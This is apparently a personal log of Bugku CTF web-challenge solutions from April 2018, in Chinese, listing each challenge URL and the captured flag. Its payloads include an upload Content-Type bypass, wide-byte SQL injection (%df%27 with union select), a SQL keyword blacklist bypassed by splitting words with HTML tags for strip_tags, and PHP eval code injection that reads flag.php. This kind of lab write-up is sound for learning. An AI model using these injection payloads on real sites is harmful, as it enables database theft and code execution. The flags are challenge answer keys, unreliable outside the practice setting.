2018.4.2
http://120.24.86.145:8002/web2/
进url是一个经典的满屏滑稽(/手动斜眼笑);
查看了一下元素,搜索flag,就找到了(/滑稽)
KEY{Web-2-bugKssNNikls9100}
http://103.238.227.13:10085/
不用想也知道直接上传php文件,是不行的。果然返回非图片文件。
抓包看一下,Content-Type为application/octet-stream,将其改为image/gif,放包。
上传成功后返回flag。
Flag:42e97d465f962c53df9549377b513c7e
2018-4-3
http://120.24.86.145:8002/yanzhengma/
静态html/js题:
看一下源码,或者查看文本框的元素,容易发现:
<span id="code" class="nocode">验证码span> <input type="text" class="input" maxlength="1"/>
<button id="check">验证button>
maxlenth(最大长度)设置成了1,所以输出不上。
解决办法是:
在查看器中修改maxlength的值。
再输入验证结果即可。
方法二:
直接在调试器中找到js源文件(/doge):
flag{CTF-bugku-0032}
http://120.24.86.145:8002/get/
不说了,payload:http://120.24.86.145:8002/get/?what=flag
flag{bugku_get_su8kej2en}
http://120.24.86.145:8002/post/
flag{bugku_get_ssseint67se}
2018-4-4
http://120.24.86.145:8002/get/index1.php
弱类型
1 == 1string
payload:
num=1admin
flag{bugku-789-ps-ssdf}
php弱类型
https://www.cnblogs.com/Mrsm1th/p/6745532.html
http://120.24.86.145:8002/web3/
view-source:http://120.24.86.145:8002/web3/
查看源码,发现最后一段Unicode编码,解码得到flag。
Unicode解码
KEY{J2sa42ahJK-HS11III}
2018-4-5
http://103.238.227.13:10083/
首先试着用id=1 和 id=1’ 试一试,发现页面都没报错,难道不存在注入点?
这里估计id=1和id=1’没报错是因为使用了转义函数,将 ’ 转义为了\’。一般情况下,不会出现页面报错,看上去好像就没有注入点了。
想起来之前看见过由于编码漏洞导致的宽字节注入。于是尝试:
http://103.238.227.13:10083/?id=1%df%27
发现报错,说明的确是宽字节注入。
所谓宽字节注入,就是数据库gbk编码时,在SQL语句中,如果一个字符的ascii码大于127,会与后一个编码一起当做中文处理。而当我用%df会和\的URL码即%5c
一起被当做中文处理了,这样后面的 ’ 就逃逸检查出来了。更多内容参考SQL宽字节注入。
接下来就和常规操作差不多了。
1.构造语句查看一下数据库名
http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
2.构造语句查看字段值
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id = 1%23
KEY{54f3320dc261f313ba712eb3f13a1f6d}
宽字节注入
由于本题很直接的告诉了我们,要找的字段就省了很多事,只要知道是宽字节注入,就很容易了。
2018-4-6
听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag
原以为这是什么我没遇到的域名解析漏洞呢。
其实只是一个知识点: 本地域名解析文件!
在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个网络域名映射关系。如果有则,调用这个IP地址映射,如果没有,再向已知的DNS服务器提出域名解析。也就是说Hosts的请求级别比DNS高。
下面总结一下Linux和windows下的域名解析文件:
路径 /etc/hosts
修改 sudo gedit /etc/hosts (要以root权限运行,否则不可写)
添加映射记录:
IP domain (中间以数个空格隔开,#表示注释。)
路径 C:\Windows\System32\drivers\etc
添加映射记录:
IP domain (中间以数个空格隔开,#表示注释。)
添加完映射,浏览器访问flag.bugku.com即可得到flag。
KEY{DSAHDSJ82HDS2211}
域名解析文件hosts。
2018-4-7
地址:http://103.238.227.13:10087/
提示:过滤了关键字 你能绕过他吗
flag格式KEY{xxxxxxxxxxxxx}
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
看上去过滤了很多和SQL注入有关的关键字,但是,由于函数strip_tags的存在,我们可以绕过黑名单检测。
strip_tags
(PHP 4, PHP 5, PHP 7)
strip_tags — 从字符串中去除 HTML 和 PHP 标记
说明
string strip_tags ( string str[,string s t r [ , s t r i n g allowable_tags ] )该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。
比如union本来是被过滤的,但是会uni
on不会,又由于strip_tags的存在,导致被去除了那么思路就很清楚了,只要用简单的html标记绕过即可。
1.查库:
http://103.238.227.13:10087/?id=-1 union select 1,database()--+
2 查表(更改limit x,1的x 查看所有):
http://103.238.227.13:10087/?id=-1 union select 1,table_name from information_schema.tables where table_schema='sql3' limit 0,1--+
3 查字段(更改limit x,1的x 查看所有)
http://103.238.227.13:10087/?id=-1 union select 1,column_name from information_schema.columns where table_schema='sql3' and table_name='key' limit 0,1--+
其实本题已经告诉了我们 ,查key表的id=1的hash字段值,以上纯属练习了,直接查数据:
payload:
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om sql3.key
或
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om .key
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
利用代码中的其他函数绕过
2018-4-8
http://120.24.86.145:8002/web12/
burp抓包放包,有图和无图的源码是不一样的,
有图的页面狐仙flag。
<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!strong>center>
<center>Stop at panda ! u will get flagcenter>
<center><div><img src="10.jpg"/>div>center><br><a style="display:none">flag{dummy_game_1s_s0_popular}a>body>
html>
flag{dummy_game_1s_s0_popular}
http://120.24.86.145:8003/
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
a= a = _REQUEST[‘hello’];
但是没有任何过滤就eval了!!!!!
hello是可控的。我们就可以通过构造hello来读取flag.php。
注意闭合括号。
payload:
http://120.24.86.145:8003/?hello=1);show_source("flag.php");show_source(
1);闭合var_dump( 形成var_dump(1);
show_source(“flag.php”) 读取flag.php
show_source( 闭合var_dump的右括号 (换成其他函数也可)
flag{bug-ctf-gg-99}